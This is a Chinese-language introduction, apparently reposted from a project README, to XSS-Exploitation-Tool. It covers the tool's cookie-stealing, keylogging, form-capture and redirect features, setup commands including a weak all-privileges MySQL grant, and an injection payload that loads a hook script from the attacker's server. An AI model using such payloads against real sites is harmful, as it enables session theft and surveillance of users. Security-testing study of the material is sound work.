一、XSS-Exploitation-Tool简介
跨站脚本(XSS)是一种常见的网络安全漏洞,它允许攻击者在目标网站上注入恶意的客户端代码,从而影响或者控制目标用户的浏览器行为。XSS漏洞可能导致用户的隐私泄露、账号被盗、网站被篡改等严重后果。
为了帮助渗透测试人员和安全研究人员快速地识别和利用XSS漏洞,我们开发了XSS-Exploitation-Tool,这是一款功能强大的XSS漏洞扫描与利用工具,专为渗透测试人员设计。
需要注意的是,该工具仅出于教育目的设计和开发,请不要将其用于真实环境。
二、XSS-Exploitation-Tool功能介绍
XSS-Exploitation-Tool具有以下功能:
功能 | 说明 |
---|---|
获取关于目标浏览器的技术数据 | 可以获取目标浏览器的类型、版本、操作系统、语言等信息 |
获取目标用户的地理坐标位置 | 可以获取目标用户的经纬度、国家、城市等信息 |
获取已挂起/已访问的网页快照 | 可以获取目标用户访问过或者正在访问的网页的截图 |
获取已挂起/已访问的网页源代码 | 可以获取目标用户访问过或者正在访问的网页的源代码 |
提取表单输入字段数据 | 可以获取目标用户在表单中输入过或者正在输入的数据 |
获取Cookie数据 | 可以获取目标用户在浏览器中存储的Cookie数据 |
键盘记录功能 | 可以记录目标用户在浏览器中输入的所有按键 |
显示警告弹窗 | 可以在目标用户的浏览器中显示一个自定义的警告弹窗 |
重定向用户 | 可以将目标用户的浏览器重定向到一个自定义的网址 |
三、XSS-Exploitation-Tool安装方法
当前版本的XSS-Exploitation-Tool已在Debian 11上进行过测试。
在使用该工具之前,你还需要安装Apache、MySQL数据库和PHP相关模块:
# 安装Apache、MySQL数据库和PHP相关模块
$ sudo apt-get install apache2 default-mysql-server php php-mysql php-curl php-dom
# 删除默认的index.html文件
$ sudo rm /var/www/index.html
接下来,你可以直接使用下列命令将该项目源码克隆至本地:
# 安装git
$ sudo apt-get install git
# 克隆项目源码
$ cd /tmp
$ git clone https://github.com/Sharpforce/XSS-Exploitation-Tool.git
# 移动项目源码到/var/www/html/目录下
$ sudo mv XSS-Exploitation-Tool/* /var/www/html/
然后安装composer,并安装该工具所需的其他依赖组件:
# 安装composer
$ sudo apt-get install composer
# 进入/var/www/html/目录
$ cd /var/www/html/
# 修改文件夹权限
$ sudo chown -R $your_debian_user:$your_debian_user /var/www/
# 安装依赖组件
$ composer install
# 恢复文件夹权限
$ sudo chown -R www-data:$www-data /var/www/
安装完成后,使用下列命令初始化数据库:
# 进入MySQL数据库
$ sudo mysql
# 创建一个新的用户
MariaDB [(none)]> grant all on *.* to xet@localhost identified by 'xet';
# 刷新权限
MariaDB [(none)]> flush privileges;
# 退出MySQL数据库
MariaDB [(none)]> quit
创建好数据库之后,访问下列地址即可:
http://server-ip/reset_database.php
四、XSS-Exploitation-Tool使用方法
使用XSS-Exploitation-Tool的过程可以分为以下几个步骤:
-
步骤一:创建一个页面来插入JavaScript钩子文件。JavaScript钩子文件是一个用于与服务器端通信和执行命令的脚本文件,我们需要使用服务器端的IP地址替换文件中的第一行数据:
// 修改服务器端IP地址 var address = "your server ip";
然后,我们可以在任意一个网页上插入这个钩子文件,例如:
?vulnerable_param=<script src="http://your_server_ip/hook.js"/>
-
步骤二:等待目标用户访问这个设置了钩子文件的页面。当目标用户访问这个页面时,他们的浏览器就会加载并执行这个钩子文件,从而与服务器端建立连接,并发送一些基本的信息,如浏览器类型、版本、语言等。
-
步骤三:在服务器端查看目标浏览器列表。当服务器端收到目标用户的信息时,它就会在网页上列出目标浏览器列表,我们可以点击每个浏览器的ID来查看更多的信息,如操作系统、地理位置、网页快照等。
-
步骤四:在服务器端发送命令给目标浏览器。当我们选择了一个目标浏览器后,我们就可以在网页上输入一些命令来控制目标浏览器,如获取Cookie数据、显示警告弹窗、重定向用户等。我们可以在命令框中输入help来查看可用的命令列表。
工具运行截图
许可证协议 本项目的开发与发布遵循GPL-3.0开源许可证协议。
项目地址 XSS-Exploitation-Tool:【GitHub传送门】